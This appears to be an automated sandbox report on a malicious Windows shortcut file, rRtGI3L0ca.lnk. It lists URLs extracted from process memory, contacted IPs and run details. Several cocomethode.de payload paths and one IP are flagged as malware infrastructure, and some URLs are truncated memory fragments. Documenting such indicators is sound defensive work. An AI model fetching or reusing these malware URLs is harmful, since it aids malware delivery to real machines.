Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/XX/oasis-2	svchost.exe, 00000015.00000002.476263968246.0000026EC747F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://go.microsoft.co	powershell.exe, 00000009.00000002.474811709455.0000018AE7D4D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://account.live.com/Wizard/Password/Change?id=80601E	svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cocomethode.de/file2/961e923217e6366fedc4ef058b135504177a85e5d4a3d3fefcd20dd6a4bae06bb247857	powershell.exe, 00000009.00000002.474754978371.0000018AD0956000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://cocomethode.de	powershell.exe, 00000009.00000002.474754978371.0000018AD098F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475125287836.0000023B8B8DC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://live.cpsecateDevg:DeeSer	svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://Passport.NET/tbpose	svchost.exe, 00000015.00000002.476269277800.0000026EC8286000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysidY	powershell.exe, 0000000F.00000002.475773046858.0000023B9A9E8000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000018.00000002.476267701819.00000277BEF46000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000018.00000000.475101654108.00007FF699BCB000.00000002.00000001.01000000.0000000A.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	svchost.exe, 00000015.00000002.476267238154.0000026EC7D6D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdsoft.c	svchost.exe, 00000015.00000003.474812974375.0000026EC7D5D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474813454219.0000026EC7D5E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysid	svczHost.exe, svczHost.exe, 00000018.00000002.476279916819.00007FF699940000.00000004.00000001.01000000.0000000A.sdmp, myRdpService.exe	false		high
https://aka.ms/winsvr-2022-pshelpXz	powershell.exe, 00000009.00000002.474754978371.0000018ACFF5A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475125287836.0000023B8AC2B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/nativeaot-compatibility	myRdpService.exe	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000003.00000002.474654276192.000001C6DDDD5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.474654276192.000001C6DDF0C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.474636787839.000001C6CF240000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.474906856227.000002BCD5F0A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.474806234287.0000018ADFD6B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.474754978371.0000018AD1348000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475773046858.0000023B99FEB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.475534195964.000001974FBF8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.475162023951.0000019740F3E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://account.live.com/InlineSignup.aspx?iww=1&id=80502	svchost.exe, 00000015.00000003.474801397585.0000026EC7D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000003.00000002.474636787839.000001C6CDD51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.474863848487.000002BCC5E91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.474754978371.0000018ACFCF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475773046858.0000023B9A9E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475125287836.0000023B89F71000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 00000018.00000002.476267701819.00000277BEF46000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000018.00000000.475101654108.00007FF699BCB000.00000002.00000001.01000000.0000000A.sdmp, svczHost.exe, 00000018.00000002.476279916819.00007FF699940000.00000004.00000001.01000000.0000000A.sdmp, powershell.exe, 0000001C.00000002.475162023951.000001973FA41000.00000004.00000800.00020000.00000000.sdmp, myRdpService.exe	false		high
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000009.00000002.474754978371.0000018ACFF5A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.474814601683.0000018AE7E10000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475125287836.0000023B8AC2B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000009.00000002.474754978371.0000018AD11F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475125287836.0000023B8A19E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.475600032739.0000019758090000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.475162023951.000001973FC6D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000009.00000002.474754978371.0000018ACFF5A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475125287836.0000023B8A4ED000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000009.00000002.474754978371.0000018AD11F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475125287836.0000023B8A19E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.475600032739.0000019758090000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.475600032739.00000197580F1000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.475162023951.000001973FC6D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000009.00000002.474754978371.0000018AD0E4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.474754978371.0000018AD0B3C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.475162023951.00000197403FF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/MartinKuschnik/WmiLight	svczHost.exe, 00000018.00000002.476267701819.00000277BE648000.00000004.00001000.00020000.00000000.sdmp, myRdpService.exe, 00000031.00000000.475710087221.00007FF759828000.00000002.00000001.01000000.0000000B.sdmp	false		high
https://aka.ms/nativeaot-compatibilityy	powershell.exe, 0000000F.00000002.475773046858.0000023B9A9E8000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000018.00000002.476267701819.00000277BEF46000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000018.00000000.475101654108.00007FF699BCB000.00000002.00000001.01000000.0000000A.sdmp	false		high
https://account.live.com/msangcwam	svchost.exe, 00000015.00000003.474801397585.0000026EC7D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801077136.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801077136.0000026EC7D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801333102.0000026EC7D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801333102.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 0000001C.00000002.475162023951.0000019740F3E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.w3.or	svchost.exe, 00000015.00000002.476263968246.0000026EC747F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000015.00000002.476268318406.0000026EC8223000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://passport.net/tb	svchost.exe, 00000015.00000002.476264916023.0000026EC74C0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba2a217498ce7a0	powershell.exe, 00000005.00000002.474863848487.000002BCC6285000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec4695bfb20347d487db9d7c0bde27a5e0ba5eac5fd4	powershell.exe, 0000000F.00000002.475125287836.0000023B8A37D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/Pester/Pester	powershell.exe, 00000009.00000002.474754978371.0000018AD11F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475125287836.0000023B8A19E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.475600032739.0000019758090000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.475162023951.000001973FC6D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba12e5825a57507	powershell.exe, 00000005.00000002.474863848487.000002BCC657A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.474863848487.000002BCC6B2D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.apache.org/licenses/LICENSE-2.0.htmlXz	powershell.exe, 00000003.00000002.474636787839.000001C6CDF7C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.474863848487.000002BCC60BB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.474754978371.0000018ACFF5A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475125287836.0000023B8A19E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.475162023951.000001973FC6D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000009.00000002.474754978371.0000018ACFF5A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475125287836.0000023B8A4ED000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/nativeaot-compatibilityY	svczHost.exe, 00000018.00000000.475101654108.00007FF699BCB000.00000002.00000001.01000000.0000000A.sdmp	false		high
https://github.com/Pester/Pesterh	powershell.exe, 00000003.00000002.474636787839.000001C6CF0EE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.474636787839.000001C6CF0CE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.474754978371.0000018AD11C6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.474754978371.0000018AD11F1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cocomethode.de/file2/a6c68eda5eb2f2e24f6b71bb75ddc6d507a5fe468316dd82743217491c7dea68954e62f	powershell.exe, 00000005.00000002.474863848487.000002BCC6285000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.openxmlfoEP	powershell.exe, 00000009.00000002.474820792001.0000018AE85A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.pngXz	powershell.exe, 00000003.00000002.474636787839.000001C6CDF7C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.474863848487.000002BCC60BB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.474754978371.0000018ACFF5A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475125287836.0000023B8A19E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.475162023951.000001973FC6D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://html4/loose.dtd	powershell.exe, 0000000F.00000002.475773046858.0000023B9A9E8000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000018.00000002.476267701819.00000277BEF46000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000018.00000000.475101654108.00007FF699BCB000.00000002.00000001.01000000.0000000A.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/truste	svchost.exe, 00000015.00000002.476266380276.0000026EC7D13000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.mi	svchost.exe, 00000015.00000002.476266273199.0000026EC7D00000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/09/policyom	svchost.exe, 00000015.00000002.476266380276.0000026EC7D13000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/nativeaot-c	svczHost.exe, myRdpService.exe	false		high
https://cocomethode.de	powershell.exe, 00000005.00000002.474863848487.000002BCC60BB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.474754978371.0000018ACFF5A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.474754978371.0000018AD0956000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475125287836.0000023B8A341000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475125287836.0000023B8B8DC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/file2/b2363232f108a7db06ff607ea8c50137aec629784f39f036dcd79f8d1b73a6efe976627	powershell.exe, 00000005.00000002.474863848487.000002BCC6285000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.474863848487.000002BCC6520000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contoso.com/License	powershell.exe, 0000001C.00000002.475162023951.0000019740F3E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust	svchost.exe, 00000015.00000003.474813389054.0000026EC7D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474823026388.0000026EC7D50000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476266792343.0000026EC7D51000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476266380276.0000026EC7D13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474823072776.0000026EC7D55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476267238154.0000026EC7D6D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.osofts/Microt0	powershell.exe, 00000009.00000002.474811709455.0000018AE7DA2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://.css	powershell.exe, 0000000F.00000002.475773046858.0000023B9A9E8000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000018.00000002.476267701819.00000277BEF46000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000018.00000000.475101654108.00007FF699BCB000.00000002.00000001.01000000.0000000A.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/dotnet/runtime	powershell.exe, 0000000F.00000002.475773046858.0000023B9A274000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000018.00000002.476267701819.00000277BE648000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000018.00000000.475101654108.00007FF699AB2000.00000002.00000001.01000000.0000000A.sdmp, svczHost.exe, 00000018.00000002.476280435269.00007FF699AB2000.00000002.00000001.01000000.0000000A.sdmp, myRdpService.exe, 00000031.00000000.475710087221.00007FF759828000.00000002.00000001.01000000.0000000B.sdmp	false		high
https://login.live.co	svchost.exe, 00000015.00000002.476263172002.0000026EC742A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/file3/d9dfe974fbbd6a01f97629760ed0554b2f05b97cf7aaa7b915fbc8058e9200929c82f11	powershell.exe, 00000005.00000002.474863848487.000002BCC6285000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://aka.ms/dotnet-warnings/	powershell.exe, 0000000F.00000002.475773046858.0000023B9A9E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475773046858.0000023B9A274000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 00000018.00000002.476267701819.00000277BEF46000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000018.00000000.475101654108.00007FF699BCB000.00000002.00000001.01000000.0000000A.sdmp, svczHost.exe, 00000018.00000002.476267701819.00000277BE648000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000018.00000000.475101654108.00007FF699AB2000.00000002.00000001.01000000.0000000A.sdmp, svczHost.exe, 00000018.00000002.476280435269.00007FF699AB2000.00000002.00000001.01000000.0000000A.sdmp, svczHost.exe, 00000018.00000002.476279916819.00007FF699940000.00000004.00000001.01000000.0000000A.sdmp, myRdpService.exe, myRdpService.exe, 00000031.00000000.475710087221.00007FF759828000.00000002.00000001.01000000.0000000B.sdmp	false		high
https://cocomethode.de/file2/0581aba62a106ea04cdf6f3772592fc1199b70b957cfe082abf00cb9a2df1f568594743	powershell.exe, 00000005.00000002.474863848487.000002BCC657A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contoso.com/	powershell.exe, 0000001C.00000002.475162023951.0000019740F3E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba1f376859e645b	powershell.exe, 00000005.00000002.474863848487.000002BCC6285000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://account.live.co	svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/Pester/PesterXz	powershell.exe, 00000003.00000002.474636787839.000001C6CDF7C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.474863848487.000002BCC60BB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.474754978371.0000018ACFF5A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475125287836.0000023B8A19E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.475162023951.000001973FC6D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	svchost.exe, 00000015.00000002.476266273199.0000026EC7D00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476267692236.0000026EC7D7B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.micr	powershell.exe, 00000003.00000002.474657049468.000001C6E5DB4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://account.live.com/InlineSignup.aspx?iww=1&id=80502Bk0	svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp	false		high
http://.jpg	powershell.exe, 0000000F.00000002.475773046858.0000023B9A9E8000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000018.00000002.476267701819.00000277BEF46000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000018.00000000.475101654108.00007FF699BCB000.00000002.00000001.01000000.0000000A.sdmp	false	Avira URL Cloud: safe	unknown
https://signup.live.com/signup.aspx	svchost.exe, 00000015.00000003.474823026388.0000026EC7D50000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801397585.0000026EC7D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801333102.0000026EC7D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdapSer	svchost.exe, 00000015.00000003.474812974375.0000026EC7D5D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474813454219.0000026EC7D5E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/scceset	svchost.exe, 00000015.00000002.476266380276.0000026EC7D13000.00000004.00000020.00020000.00000000.sdmp	false		high
http://Passport.NET/STS%3C/ds:KeyName%3E	svchost.exe, 00000015.00000002.476265582213.0000026EC7513000.00000004.00000020.00020000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000003.00000002.474654276192.000001C6DDDD5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.474654276192.000001C6DDF0C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.474636787839.000001C6CF240000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.474906856227.000002BCD5F0A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.474906856227.000002BCD60AD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.474806234287.0000018ADFD6B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.474754978371.0000018AD1348000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475773046858.0000023B99FEB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.475534195964.000001974FBF8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.475162023951.0000019740F3E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000009.00000002.474754978371.0000018AD106F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80603	svchost.exe, 00000015.00000003.474801077136.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801333102.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/09/policy	svchost.exe, 00000015.00000002.476267238154.0000026EC7D6D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	svchost.exe, 00000015.00000002.476266627867.0000026EC7D37000.00000004.00000020.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.pngh	powershell.exe, 00000003.00000002.474636787839.000001C6CF0EE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.474636787839.000001C6CF0CE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.474754978371.0000018AD11C6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.474754978371.0000018AD11F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://account.live.com/inlinesignup.aspx?iww=1&id=80605	svchost.exe, 00000015.00000003.474801077136.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801077136.0000026EC7D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801333102.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cocomethode.de/file2/5a0471e79676f6960f268adf43164cb8fc84dce8007a24a8c9bcf6acf05c2f43f1ee518	powershell.exe, 0000000F.00000002.475125287836.0000023B89F71000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475125287836.0000023B8A19E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://account.live.com/inlinesignup.aspx?iww=1&id=80604	svchost.exe, 00000015.00000003.474801077136.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801333102.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.microsoft.	powershell.exe, 00000009.00000002.474814907075.0000018AE80B4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba5f06aeb112411	powershell.exe, 0000000F.00000002.475125287836.0000023B8A37D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://cocomethode.de:443/	svczHost.exe, 00000018.00000002.476264916297.00000277BDCA8000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Issue	svchost.exe, 00000015.00000002.476263968246.0000026EC747F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/Wizard/Password/Change?id=80601	svchost.exe, 00000015.00000003.474801397585.0000026EC7D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476266627867.0000026EC7D37000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801077136.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc	svchost.exe, 00000015.00000003.474823026388.0000026EC7D50000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476266792343.0000026EC7D51000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476266380276.0000026EC7D13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474823072776.0000026EC7D55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476267238154.0000026EC7D6D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80601	svchost.exe, 00000015.00000003.474801397585.0000026EC7D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80600	svchost.exe, 00000015.00000003.474801397585.0000026EC7D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.htmlh	powershell.exe, 00000003.00000002.474636787839.000001C6CF0EE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.474636787839.000001C6CF0CE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.474754978371.0000018AD11C6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.474754978371.0000018AD11F1000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
23.88.71.29	unknown	United States		18978	ENZUINC-US	false
172.67.128.139	cocomethode.de	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1573009
Start date and time:	2024-12-11 12:12:19 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2021, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected VM Detection
Number of analysed new started processes analysed:	60
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	rRtGI3L0ca.lnk
Detection:	MAL
Classification:	mal100.troj.expl.evad.winLNK@82/64@1/2
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .lnk

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, SIHClient.exe, backgroundTaskHost.exe, WmiPrvSE.exe, TextInputHost.exe
